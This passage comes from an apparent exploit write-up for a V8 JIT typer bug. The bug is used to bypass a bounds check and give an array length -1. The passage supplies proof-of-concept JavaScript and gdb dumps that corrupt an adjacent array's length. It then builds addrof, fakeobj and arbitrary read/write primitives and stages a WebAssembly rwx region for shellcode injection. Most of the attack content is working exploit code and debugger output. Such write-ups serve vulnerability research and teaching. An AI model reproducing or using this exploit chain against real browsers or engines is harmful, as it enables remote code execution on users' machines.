[ TFTypedLowering ]

Since this stage converts a JS node to an intermediate simplified node, or common node, we will focus on the #87 JSCreateArray node from the TFInlining stage above:

[ TFLoadElimination ]

The LoadElimination stage eliminates redundant load memory and read operations:

In reference to zer0con, the final pseudo-code of the above, is that of;

      let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
    // len : Range(-1, 0), real: 1
    let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
    let arr = Allocate(kArraySize);
    StoreField(arr, kMapOffset, map);
    StoreField(arr, kPropertyOffset, property);
    StoreField(arr, kElementOffset, element);
    StoreField(arr, kLengthOffset, checkedLen);
    
    let length = checkedLen;
    // length: Range(0, 0), real: 1
    if (length != 0) {
        if (length <= 100) {
            DoShiftElementsArray();
            /* Update length field */
            StoreField(arr, kLengthOffset, -1);
        } else /* length > 100 */ {
            CallRuntime(ArrayShift);
        }
    }
  

The length of arr at this point satisfies the above CheckBounds, permitting the usage of arr.shift(); to attain the length of arr to -1.

Similarly, the following would result in the same outcome in respect to CheckBounds:

      function foo(a) {
      var y = 0x7fffffff;
      if (a == NaN) y = NaN;
      if (a) y = -1;
      let z = (y + 1) + 0;
      let l = 0 - Math.sign(z);
      let arr = new Array(l);
      arr.shift();
      return arr;
  }
  

In summary, we optimise first to trigger the bug, then leverage the vulnerability with the above typer bug to bypass the bounds check and attain OOB.

      function foo(a) {
      //..
    }
    // JIT-compiling the foo(); function to ensure it gets optimised for trigger
    for (let i = 0; i < 0x10000; i++) //arbitrary high value
      foo(true);
    console.log('[success] Optimising the function to trigger the bug.');
    
    var oob_arr = foo(false);
    console.log('oob_arr.length: '+oob_arr.length+'\n');
  

After running the above with ./d8 we obtain the following output:

oob_arr.length: -1   

Since array indexes are referenced from 0 and above, having an index of -1 results in a negative array length, which leads to the said out-of-bounds condition.

We can look at this in memory, after making the following alterations to the PoC above which includes %DebugPrint(oob_arr); and %SystemBreak(); calls for the purpose of debugging:

  function foo(a) {
    //..
  }
  //..
  %DebugPrint(oob_arr);
  %SystemBreak();      

  New Thread 0x7f4f21151700 (LWP 95794)]
  DebugPrint: 0x2fe608332c51: [JSArray]
   - map: 0x2fe60824394d <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
   - prototype: 0x2fe60820b759 <JSArray[0]>
   - elements: 0x2fe608332c45 <FixedArray[67244564]> [HOLEY_SMI_ELEMENTS]
   - length: -1
   - properties: 0x2fe608042229 <FixedArray[0]>
   - All own properties (excluding elements): {
      0x2fe608044649: [String] in ReadOnlySpace: #length: 0x2fe608182159 <AccessorInfo> (const accessor descriptor), location: descriptor
   }
   - elements: 0x2fe608332c45 <FixedArray[67244564]> {  <-- arr[3]
             0: 0x2fe608042429 <the_hole>           <-- arr[0]
             1: 0x2fe60824394d <Map(HOLEY_SMI_ELEMENTS)>
             2: 0x2fe608042229 <FixedArray[0]>
             3: 0x2fe608332c45 <FixedArray[67244564]> <-- arr[3]
             4: -1                                  
       5-13548: 0
         13549: 131072
         13550: 0
         13551: 9
         13552: 0
         13553: 19692
         13554: 6131
         13555: 68817034
         13556: 6131
         13557: 68943872
         13558: 6131
         13559: 126838
   13560-13562: 0
         13563: 4234
         13564: 0
         13565: 577894140
         13566: 10930
         13567: 577592968
         13568: 10930
         13569: 68812800
         13570: 6131
         13571: 131072
   13572-13590: 0
         13591: 577943320
         13592: 10930
   13593-13594: 0
         13595: 577943296
         13596: 10930
   13597-13604: 0
         13605: 68681728
  
  Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

The elements address in the above is the same address as arr[3]. Looking at this address in memory:

      gef➤  x/10gx 0x2fe608332c45-1
    0x2fe608332c44:	0x0804242908042201	0x0824394d08042429
    0x2fe608332c54:	0x08332c4508042229	0x00000000fffffffe <-- arr
    0x2fe608332c64:	0x0000000000000000	0x0000000000000000
    0x2fe608332c74:	0x0000000000000000	0x0000000000000000
    0x2fe608332c84:	0x0000000000000000	0x0000000000000000
  

We subtract 1 from the address as, in V8, pointers always have their last bit set to 1.

The above highlights that the size of arr becomes 0x08042429, and that V8 interprets the size of the array as 0x08042429/2, of which, equates to 0x04021214, being 67244564 (FixedArray[67244564]). The memory value representing the size of arr is 0xffffffffe.

Modifying the proof-of-concept to include a second array we intend to corrupt, cor:

      function foo(a) {
      //... 
      arr.shift();
      var cor = [1.1, 1.2, 1.3];
      return [arr, cor];
    }
    //...
  

The debug output is as follows:

      DebugPrint: 0x2bdb0808943d: [JSArray]
    - map: 0x2bdb082439c5 <Map(PACKED_ELEMENTS)> [FastProperties]
    - prototype: 0x2bdb0820b759 <JSArray[0]>
    - elements: 0x2bdb0808942d <FixedArray[2]> [PACKED_ELEMENTS]
    - length: 2
    - properties: 0x2bdb08042229 <FixedArray[0]>
    - All own properties (excluding elements): {
       0x2bdb08044649: [String] in ReadOnlySpace: #length: 0x2bdb08182159 <AccessorInfo> (const accessor descriptor), location: descriptor
    }
    - elements: 0x2bdb0808942d <FixedArray[2]> {
              0: 0x2bdb080893ed <JSArray[4294967295]>
              1: 0x2bdb0808941d <JSArray[3]>
    }
   0x2bdb082439c5: [Map]
    - type: JS_ARRAY_TYPE
    - instance size: 16
    - inobject properties: 0
    - elements kind: PACKED_ELEMENTS
    - unused property fields: 0
    - enum length: invalid
    - back pointer: 0x2bdb0824399d <Map(HOLEY_DOUBLE_ELEMENTS)>
    - prototype_validity cell: 0x2bdb08182445 <Cell value= 1>
    - instance descriptors #1: 0x2bdb0820bc0d <DescriptorArray[1]>
    - transitions #1: 0x2bdb0820bc89 <TransitionArray[4]>Transition array #1:
        0x2bdb08044f4d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x2bdb082439ed <Map(HOLEY_ELEMENTS)>
   
    - prototype: 0x2bdb0820b759 <JSArray[0]>
    - constructor: 0x2bdb0820b4f5 <JSFunction Array (sfi = 0x2bdb0818b435)>
    - dependent code: 0x2bdb080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
    - construction counter: 0
  

Looking at it in memory:

  gef➤  job 0x2bdb0808943d
  0x2bdb0808943d: [JSArray]
   - map: 0x2bdb082439c5 <Map(PACKED_ELEMENTS)> [FastProperties]
   - prototype: 0x2bdb0820b759 <JSArray[0]>
   - elements: 0x2bdb0808942d <FixedArray[2]> [PACKED_ELEMENTS]
   - length: 2
   - properties: 0x2bdb08042229 <FixedArray[0]>
   - All own properties (excluding elements): {
      0x2bdb08044649: [String] in ReadOnlySpace: #length: 0x2bdb08182159 <AccessorInfo> (const accessor descriptor), location: descriptor
   }
   - elements: 0x2bdb0808942d <FixedArray[2]> {
             0: 0x2bdb080893ed <JSArray[4294967295]>   <-- arr
             1: 0x2bdb0808941d <JSArray[3]>            <-- cor
   }
  
  gef➤  x/10gx 0x2bdb080893ed-1       <-- arr
  0x2bdb080893ec:	0x080422290824394d	0xfffffffe080893e1  <--length in memory (arr)
  0x2bdb080893fc:	0x0000000608042a89	0x3ff199999999999a
  0x2bdb0808940c:	0x3ff3333333333333	0x3ff4cccccccccccd
  0x2bdb0808941c:	0x0804222908243975	0x00000006080893fd
  0x2bdb0808942c:	0x0000000408042201	0x0808941d080893ed
  gef➤  x/10gx 0x2bdb0808941d-1       <-- cor
  0x2bdb0808941c:	0x0804222908243975	0x00000006080893fd  <--length in memory (cor)
  0x2bdb0808942c:	0x0000000408042201	0x0808941d080893ed
  0x2bdb0808943c:	0x08042229082439c5	0x000000040808942d
  0x2bdb0808944c:	0x0804222908042229	0x0804553100000000
  0x2bdb0808945c:	0x08042a8908212abd	0x9999999a00000006    

The arr.length, being -1 here will cause the array field to generate a length of 0xffffffff when arr.shift(); occurs, which will modify the length field of arr in memory to 0xfffffffe, resulting in out-of-bounds condition (as previously mentioned earlier). Since arr and cor are continuously allocated, through arr the data structure of cor can be accessed out-of-bounds, forming the basis for later use in exploitation.

Next we need to overwrite the length of cor.

[ OVERWRITING THE LENGTH OF ARRAY cor ]

What exists past the end of an array? It looks to be the Map of JSArray as that is what comes after the last index of the FixedDoubleArray.

After %DebugPrint([idx]) iterated from 0 onwards, many segmentation faults were received up until arr[13]. This was the Map of JSArray. Where, arr[14] was the FixedArray and arr[15] being the FixedDoubleArray of cor, and finally arr[16], being the length of the cor array, of which was 0x3 (3), as this array was defined as var cor = [1.1, 1.2, 1.3];.

Therefore, to overwrite the length of cor, we need to overwrite the value of arr[16].

NOTE Array objects have an additional length field as well (lengths are represented as an smi).

The above is demonstrated below, where debug_foo.js contains:

  function foo(a) {
    //..
  }
  //...
  const ret = foo(false); 
  var arr = ret[0]; 
  var cor = ret[1]; 
  %DebugPrint(cor);  //before overwrite of cor
  %DebugPrint(arr[13]); //map of JSArray (arr)
  %DebugPrint(arr[14]); //FixedArray
  %DebugPrint(arr[15]); //FixedDoubleArray of cor
  %DebugPrint(arr[16]); // length of cor before overwrite
  arr[16] = 0x4242; //overwrites the cor array length to 0x4242 (16962)
  %DebugPrint(arr[16]); //length of cor after overwrite
  %DebugPrint(cor); //after overwrite      

./d8 debug_foo.js --allow-natives-syntax output:
  DebugPrint: 0x51408243975: [Map]     <--arr[13]
  - type: JS_ARRAY_TYPE
  - instance size: 16
  - inobject properties: 0
  - elements kind: PACKED_DOUBLE_ELEMENTS
  - unused property fields: 0
  - enum length: invalid
  - back pointer: 0x05140824394d <Map(HOLEY_SMI_ELEMENTS)>
  - prototype_validity cell: 0x051408182445 <Cell value= 1>
  - instance descriptors #1: 0x05140820bc0d <DescriptorArray[1]>
  - transitions #1: 0x05140820bc59 <TransitionArray[4]>Transition array #1:
      0x051408044f4d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x05140824399d <Map(HOLEY_DOUBLE_ELEMENTS)>
 
  - prototype: 0x05140820b759 <JSArray[0]>
  - constructor: 0x05140820b4f5 <JSFunction Array (sfi = 0x5140818b435)>
  - dependent code: 0x0514080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
  - construction counter: 0
 0x51408042115: [Map] in ReadOnlySpace
  - type: MAP_TYPE
  - instance size: 40
  - elements kind: HOLEY_ELEMENTS
  - unused property fields: 0
  - enum length: invalid
  - stable_map
  - non-extensible
  - back pointer: 0x0514080423b1 <undefined>
  - prototype_validity cell: 0
  - instance descriptors (own) #0: 0x0514080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
  - prototype: 0x051408042231 <null>
  - constructor: 0x051408042231 <null>
  - dependent code: 0x0514080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
  - construction counter: 0
 
 DebugPrint: 0x51408042229: [FixedArray] in ReadOnlySpace    <--arr[14]
  - map: 0x051408042201 <Map>
  - length: 0
 0x51408042201: [Map] in ReadOnlySpace
  - type: FIXED_ARRAY_TYPE
  - instance size: variable
  - elements kind: HOLEY_ELEMENTS
  - unused property fields: 0
  - enum length: invalid
  - stable_map
  - non-extensible
  - back pointer: 0x0514080423b1 <undefined>
  - prototype_validity cell: 0
  - instance descriptors (own) #0: 0x0514080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
  - prototype: 0x051408042231 <null>
  - constructor: 0x051408042231 <null>
  - dependent code: 0x0514080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
  - construction counter: 0
 
 DebugPrint: 0x514081663c1: [FixedDoubleArray]    <-- arr[15]
  - map: 0x051408042a89 <Map>
  - length: 3
          0-2: 1.1
 0x51408042a89: [Map] in ReadOnlySpace
  - type: FIXED_DOUBLE_ARRAY_TYPE
  - instance size: variable
  - elements kind: HOLEY_DOUBLE_ELEMENTS
  - unused property fields: 0
  - enum length: invalid
  - stable_map
  - back pointer: 0x0514080423b1 <undefined>
  - prototype_validity cell: 0
  - instance descriptors (own) #0: 0x0514080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
  - prototype: 0x051408042231 <null>
  - constructor: 0x051408042231 <null>
  - dependent code: 0x0514080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
  - construction counter: 0
 
 DebugPrint: Smi: 0x3 (3) <-- arr[16] before arr[16] = 0x4242;
 
 DebugPrint: Smi: 0x4242 (16962) <-- arr[16] after arr[16] = 0x4242;
 
 Trace/breakpoint trap (core dumped)

Again, to re-iterate, before overwriting cor:
      DebugPrint: 0x3fb7082aa03d: [JSArray]           <--cor before overwrite
    - map: 0x3fb708243975 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
    - prototype: 0x3fb70820b759 <JSArray[0]>
    - elements: 0x3fb7082aa01d <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
    - length: 3                 <-- cor length before overwrite
    - properties: 0x3fb708042229 <FixedArray[0]>
    - All own properties (excluding elements): {
       0x3fb708044649: [String] in ReadOnlySpace: #length: 0x3fb708182159 <AccessorInfo> (const accessor descriptor), location: descriptor
    }
    - elements: 0x3fb7082aa01d <FixedDoubleArray[3]> {
            0-2: 1.1
    }
   0x3fb708243975: [Map]                 <-- arr[13] is the map of cor
    - type: JS_ARRAY_TYPE
    - instance size: 16
    - inobject properties: 0
    - elements kind: PACKED_DOUBLE_ELEMENTS
    - unused property fields: 0
    - enum length: invalid
    - back pointer: 0x3fb70824394d <Map(HOLEY_SMI_ELEMENTS)>
    - prototype_validity cell: 0x3fb708182445 <Cell value= 1>
    - instance descriptors #1: 0x3fb70820bc0d <DescriptorArray[1]>
    - transitions #1: 0x3fb70820bc59 <TransitionArray[4]>Transition array #1:
        0x3fb708044f4d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3fb70824399d <Map (HOLEY_DOUBLE_ELEMENTS)>
   
    - prototype: 0x3fb70820b759 <JSArray[0]>
    - constructor: 0x3fb70820b4f5 <JSFunction Array (sfi = 0x3fb70818b435)>
    - dependent code: 0x3fb7080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
    - construction counter: 0
   
   DebugPrint: Smi: 0x3 (3)    <-- arr[16] is the length of cor. We overwrite this.     
  
  

Again, to re-iterate, after overwriting cor:

      DebugPrint: Smi: 0x3 (3)  <-- arr[16], length of cor. Before overwrite

    DebugPrint: Smi: 0x4242 (16962) <-- arr[16], length of cor. After overwrite
    
    DebugPrint: 0x3fb7082aa03d: [JSArray]
     - map: 0x3fb708243975 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
     - prototype: 0x3fb70820b759 <JSArray[0]>
     - elements: 0x3fb7082aa01d <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
     - length: 16962            <-- cor length after overwrite (via arr[16])
     - properties: 0x3fb708042229 <FixedArray[0]>
     - All own properties (excluding elements): {
        0x3fb708044649: [String] in ReadOnlySpace: #length: 0x3fb708182159 <AccessorInfo> (const accessor descriptor), location: descriptor
     }
     - elements: 0x3fb7082aa01d <FixedDoubleArray[3]> {
             0-2: 1.1
     }
    0x3fb708243975: [Map]
     - type: JS_ARRAY_TYPE
     - instance size: 16
     - inobject properties: 0
     - elements kind: PACKED_DOUBLE_ELEMENTS
     - unused property fields: 0
     - enum length: invalid
     - back pointer: 0x3fb70824394d <Map(HOLEY_SMI_ELEMENTS)>
     - prototype_validity cell: 0x3fb708182445 <Cell value= 1>
     - instance descriptors #1: 0x3fb70820bc0d <DescriptorArray[1]>
     - transitions #1: 0x3fb70820bc59 <TransitionArray[4]>Transition array #1:
         0x3fb708044f4d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3fb70824399d <Map(HOLEY_DOUBLE_ELEMENTS)>
    
     - prototype: 0x3fb70820b759 <JSArray[0]>
     - constructor: 0x3fb70820b4f5 <JSFunction Array (sfi = 0x3fb70818b435)>
     - dependent code: 0x3fb7080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     - construction counter: 0
  

So now we have overwritten the length of cor through arr[16]. Next we need to create our addrof and fakeobj primitives. However, before doing so, we can leak a float array map from cor for later use. Similar to how we indexed through arr via arr[idx], to locate the length of cor for it to be overwritten, we can do the same here:

      function foo(a) {
      //...
      }
      //...
      %DebugPrint(cor[0]);
      %DebugPrint(cor[1]);
      %DebugPrint(cor[2]);
      %DebugPrint(cor[3]);
      //...
  

The debug output of this is as follows:

  DebugPrint: 1.1      <-- cor[0]
  0x2efe080423cd: [Map] in ReadOnlySpace
   - type: HEAP_NUMBER_TYPE
   - instance size: 12
   - elements kind: HOLEY_ELEMENTS
   - unused property fields: 0
   - enum length: invalid
   - stable_map
   - back pointer: 0x2efe080423b1 <undefined>
   - prototype_validity cell: 0
   - instance descriptors (own) #0: 0x2efe080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
   - prototype: 0x2efe08042231 <null>
   - constructor: 0x2efe08042231 <null>
   - dependent code: 0x2efe080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
   - construction counter: 0
  
  DebugPrint: 1.1     <-- cor[1]
  0x2efe080423cd: [Map] in ReadOnlySpace
   - type: HEAP_NUMBER_TYPE
   - instance size: 12
   - elements kind: HOLEY_ELEMENTS
   - unused property fields: 0
   - enum length: invalid
   - stable_map
   - back pointer: 0x2efe080423b1 <undefined>
   - prototype_validity cell: 0
   - instance descriptors (own) #0: 0x2efe080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
   - prototype: 0x2efe08042231 <null>
   - constructor: 0x2efe08042231 <null>
   - dependent code: 0x2efe080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
   - construction counter: 0
  
  DebugPrint: 1.1    <-- cor[2]
  0x2efe080423cd: [Map] in ReadOnlySpace
   - type: HEAP_NUMBER_TYPE
   - instance size: 12
   - elements kind: HOLEY_ELEMENTS
   - unused property fields: 0
   - enum length: invalid
   - stable_map
   - back pointer: 0x2efe080423b1 <undefined>
   - prototype_validity cell: 0
   - instance descriptors (own) #0: 0x2efe080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
   - prototype: 0x2efe08042231 <null>
   - constructor: 0x2efe08042231 <null>
   - dependent code: 0x2efe080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
   - construction counter: 0
  
  DebugPrint: 4.76378e-270 <--cor[3]            <-- our float_array_map
  0x2efe080423cd: [Map] in ReadOnlySpace
   - type: HEAP_NUMBER_TYPE
   - instance size: 12
   - elements kind: HOLEY_ELEMENTS
   - unused property fields: 0
   - enum length: invalid
   - stable_map
   - back pointer: 0x2efe080423b1 <undefined>
   - prototype_validity cell: 0
   - instance descriptors (own) #0: 0x2efe080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
   - prototype: 0x2efe08042231 <null>
   - constructor: 0x2efe08042231 <null>
   - dependent code: 0x2efe080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
   - construction counter: 0    

We can therefore use the pointer at cor[3] as our leaked float array map, which will be used later.

Before proceeding, through debug printing while iterating through arr[idx] values, it was observed that arr[idx] could access cor[idx] values, as is obviously expected with an out-of-bounds read. As a result of identifying arr[16] being pertinent to cor.length, there is speculation to the use of arr[7], arr[9], as well as arr[11] in terms of accessing stored cor[idx] values, let's have a look at this in memory:

  gef➤  job 0x2577080b82ed
  0x2577080b82ed: [JSArray]
   - map: 0x2577082439c5 <Map(PACKED_ELEMENTS)> [FastProperties]
   - prototype: 0x25770820b759 <JSArray[0]>
   - elements: 0x2577080b82dd <FixedArray[2]> [PACKED_ELEMENTS]
   - length: 2
   - properties: 0x257708042229 <FixedArray[0]>
   - All own properties (excluding elements): {
      0x257708044649: [String] in ReadOnlySpace: #length: 0x257708182159 <AccessorInfo> (const accessor descriptor), location: descriptor
   }
   - elements: 0x2577080b82dd <FixedArray[2]> {
             0: 0x2577080b829d <JSArray[4294967295]>
             1: 0x2577080b82cd <JSArray[16962]>
   }
  
  gef➤  x/4gx 0x2577080b829d-1        <-- arr
  0x2577080b829c:	0x080422290824394d	0xfffffffe080b8291
  0x2577080b82ac:	0x0000000608042a89	0x3ff199999999999a
  
  gef➤  x/4gx 0x2577080b8291-1       <-- arr elements
  0x2577080b8290:	0x0804242908042201	0x0824394d08042429
  0x2577080b82a0:	0x080b829108042229	0x08042a89fffffffe
  
  gef➤  x/4gx 0x2577080b82cd-1       <-- cor
  0x2577080b82cc:	0x0804222908243975	0x00008484080b82ad
  0x2577080b82dc:	0x0000000408042201	0x080b82cd080b829d
  
  gef➤  x/4gx 0x2577080b82ad-1      <-- cor elements
  0x2577080b82ac:	0x0000000608042a89	0x3ff199999999999a
  0x2577080b82bc:	0x3ff3333333333333	0x3ff4cccccccccccd
  
  gef➤  x/4gx 0x2577080b8291-1 + 8 + (4*16) <--arr[16] can access cor.length 
  0x2577080b82d8:	0x0804220100008484	0x080b829d00000004
  0x2577080b82e8:	0x082439c5080b82cd	0x080b82dd08042229
  
  gef➤  x/4gx 0x2577080b8291-1 + 8 + (4*7) <--arr[7] can access cor[0] 
  0x2577080b82b4:	0x3ff199999999999a	0x3ff3333333333333
  0x2577080b82c4:	0x3ff4cccccccccccd	0x0804222908243975
  
  gef➤  x/4gx 0x2577080b8291-1 + 8 + (4*9) <--arr[9] can access cor[1] 
  0x2577080b82bc:	0x3ff3333333333333	0x3ff4cccccccccccd
  0x2577080b82cc:	0x0804222908243975	0x00008484080b82ad
  
  gef➤  x/4gx 0x2577080b8291-1 + 8 + (4*11) <--arr[11] can access cor[2] 
  0x2577080b82c4:	0x3ff4cccccccccccd	0x0804222908243975
  0x2577080b82d4:	0x00008484080b82ad	0x0000000408042201
  
  gef➤  p/f 0x3ff199999999999a  <--cor[0] in memory
  $1 = 1.1000000000000001       <-- value of cor[0]
  
  gef➤  p/f 0x3ff3333333333333  <--cor[1] in memory
  $2 = 1.2                      <-- value of cor[1] 
  
  gef➤  p/f 0x3ff4cccccccccccd  <--cor[2] in memory
  $3 = 1.3                      <--value of cor[2]      

The above proves that arr[16] can indeed access cor.length. Also of observation in the above, is that; arr[7] can access cor[0], similarly arr[9] can access cor[1] , and arr[11] can access cor[2].

Just a note on the above gdb dump (probably not too relevant, but beneficial to recall): In regards to pointer 0xfffffffe080b8291 which we have previously established; the 0xfffffffe length is from the -1 resulting from arr.shift();(see way further above). This value (smi) being the length of arr is moved to the left and stored in memory, so the length in this array is saved as 0xfffffffe. We simply viewed the elements of arr, by replacing this length value and applying that of the original pointer length in order to properly access the elements of arr in memory, hence the pointer 0x2577080b8291 being used to access said elements in the above. This is hard to explain with words, so I've included a figure below:


With that out the way, we now have the following for:


1. Constructing our addrof primitive,
2. Constructing our fakeobj primitive.

Before continuing, we will include the following common helper functions for ease of converting between float and integer primitives (vice versa) in our exploit:

  var buf = new ArrayBuffer(8); // 8 byte array buffer
  var f64_buf = new Float64Array(buf);
  var u64_buf = new Uint32Array(buf);
  
  function ftoi(val) { // typeof(val) = float
      f64_buf[0] = val;
      
      // Watch for little endianness
      return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
  }
  
  function itof(val) { // typeof(val) = BigInt
      u64_buf[0] = Number(val & 0xffffffffn);
      u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
  }
  
  function foo(a) {
    //...
  }
  //...

[ CONSTRUCTING AddrOf and FakeObj PRIMITIVES ]

Vulnerabilities in JIT offer many advantages, one of which, offering the ability to construct runtime primitives that can offer reliable exploitability without the need to bypass ASLR etc.

Knowing the above, and having already overwritten the value of cor.length via arr[16]. We can either use arr[7]/cor[0], arr[9]/cor[1], or arr[11]/cor[2] for crafting our addrof and fakeobj primitives. Let's use arr[11]/cor[2] here:

Constructing our addrof primitive:

      function addrof(obj) {
      arr[11] = obj;
      return ftoi(cor[2]);
    }
  

The addrof primitive takes an object at arr[11], and returns its address in memory.

Constructing our fakeobj primitive:

      function fakeobj(addr) {
      cor[2] = itof(addr);
      return arr[11];
    }
  

The fakeobj primitive is essentially the inverse of the addrof primitive, as addrof returns the address of an object, the fakeobj primitive lets us create an object anywhere in memory, of which, we can read from and write to.

We can add this to our exploit, alongside our leaked float_array_map, being cor[3] (identified earlier above):

      //...
    function ftoi(val) { 
        //...
    }
    
    function itof(val) { 
        //...
    }
    
    function foo(a) {
      //...
    }
    //...
    
    let float_array_map = ftoi(cor[3]);
    
    function addrof(obj) {
      arr[11] = obj;
      return ftoi(cor[2]);
    }
    
    function fakeobj(addr) {
      cor[2] = itof(addr);
      return arr[11];
    }
    //...

  

Next we need to create our arb_read and arb_write primitives. But first, we need to do some more work before hand.

We can create another array called rw_arr to have it's 0 index at our leaked array map (float_array_map), as well as forge an object called fake so that the elements pointer of fake can be accessed through rw_arr. This will permit the read/write pointer to be able to read and write an arbitrary address.

For this next step we will need to determine the offset for our fake object. We can determine this with pairing %DebugPrint() with gdb. On a side note I also found the following of interest:

JSArrayBuffer Offsets

OOB Attack Path

We can define our rw_arr array and forged fake object:

  rw_arr = [itof(float_array_map), 1.1, 1.2, 1.3]
  fake = fakeobj(addrof(rw_arr) + 0x20n); // victim object offset

[ CONSTRUCTING ArbRead and ArbWrite PRIMITIVES ]

With the two constructed primitives, addrof and fakeobj, we can now construct our arbitrary read and primitives, arb_read and arb_write.

function arb_read(addr) {
    fake = fakeobj(addrof(rw_arr) + 0x20n); //victim object offset
    rw_arr[1] = itof((0x12n << 32n) + (addr += 1n) - 0x8n); //offset
    return ftoi(fake[0]);
}

function arb_write(addr, val) {
fake = fakeobj(addrof(rw_arr) + 0x20n); //victim object offset
  rw_arr[1] = itof((0x12n << 32n) + (addr += 1n) - 0x8n); //offset
  fake[0] = itof(val);
  return;
}

The above code; the arb_read function overwrites the elements pointer of fake with the address we want to read, then uses fake to read a value at the address. The arb_write function is essentially doing the same as arb_read, but storing a value in fake, essentially providing a write.

[ FROM OOB R/W TO REMOTE CODE EXECUTION (RCE) USING WEB ASSEMBLY (WASM) ]

With the primitives needed now having been constructed, for every WebAssembly (WASM) instance, v8 will allocate a rwx memory region. With an arbitrary write, we can inject shellcode to this region and execute it in memory using the WebAssembly instance for payload delivery.

NOTE reliability of this exploitation technique could vary, depending on whether or not it is possible to disable WebAssembly. As of recent versions of V8, hardening capabilities exist here. For example, it is my understanding that the WASM code region in more recent versions is now marked as W^X (with pkey_mprotect?), so the classic WASM trick that is to be used here wouldn't work anymore, alongside various other hardening efforts.

I performed two iterations of exploitation on this bug, one via WASM, another where I had libc as the target. I have included the WASM approach in my write-up though as there are limitations when it comes to targeting libc here, specifically in pertinence to target portability, alongside the different allocators used between V8 and Chromium i.e. glibc/libc and Chrome's PartitionAlloc allocator. Hence the WASM approach.

This reference is handy to see which browsers, including Chrome, and their version numbers support WASM.

Creating a WASM instance for V8 to create an rwx segment:

  var wasmCode = new Uint8Array([
  0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,
  0x60,0x00,0x01,0x7f,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,
  0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,
  0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,
  0x06,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x02,0x00,0x04,0x6d,0x61,0x69,0x6e,0x00,
  0x00,0x0a,0x8a,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,
  0x2a,0x0b
]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_entry = wasmInstance.exports.main;

After running our updated exploit, we can locate the rwx segment in memory:

      gef➤  vmmap
    [ Legend:  Code | Heap | Stack ]
    Start              End                Offset             Perm Path
    0x00257e0805f000 0x00257e08080000 0x00000000000000 --- 
    0x00257e08080000 0x00257e0818d000 0x00000000000000 rw- 
    0x00257e0818d000 0x00257e081c0000 0x00000000000000 --- 
    0x00257e081c0000 0x00257e081c3000 0x00000000000000 rw- 
    0x00257e081c3000 0x00257e08200000 0x00000000000000 --- 
    0x00257e08200000 0x00257e083c0000 0x00000000000000 rw- 
    0x00257e083c0000 0x00257f00000000 0x00000000000000 --- 
    0x00315c1504c000 0x00315c1504d000 0x00000000000000 rwx       <---- rwx 
    0x00556e92193000 0x00556e92982000 0x00000000000000 r-- /d8
    0x00556e92982000 0x00556e9370b000 0x000000007ee000 r-x /d8
    0x00556e9370b000 0x00556e93776000 0x00000001576000 r-- /d8
    0x00556e93776000 0x00556e93784000 0x000000015e0000 rw- /d8
    0x00556e93784000 0x00556e937b0000 0x00000000000000 rw- 
    0x00556e951da000 0x00556e952d0000 0x00000000000000 rw- [heap]
    0x007f3cfc000000 0x007f3d7c000000 0x00000000000000 --- 
    [...]
  

In this case, the rwx segment is at 0x00315c1504c000, we can also see this object in memory after %DebugPrint(wasmInstance):

    DebugPrint: 0x257e08213fed: [WasmInstanceObject] in OldSpace
    [...]
   
   gef➤  x/16gx 0x257e08213fed-1                                       <---wasmInstance ptr
   0x257e08213fec:	0x0804222908246e1d	0x7c00000008042229
   0x257e08213ffc:	0x0001000000007f3d	0x0000ffff00000000
   0x257e0821400c:	0x0000005000000000	0x080422290000257e
   0x257e0821401c:	0x0000556e95201b10	0x0000000008042229
   0x257e0821402c:	0x0000000000000000	0x0000000000000000
   0x257e0821403c:	0x0000000000000000	0x0000556e95201b30
   0x257e0821404c:	0x0000257e00000000	0x0000315c1504c000      <---address of rwx
   0x257e0821405c:	0x082f56d5082f5559	0x08213fd5082030e1      
  
  

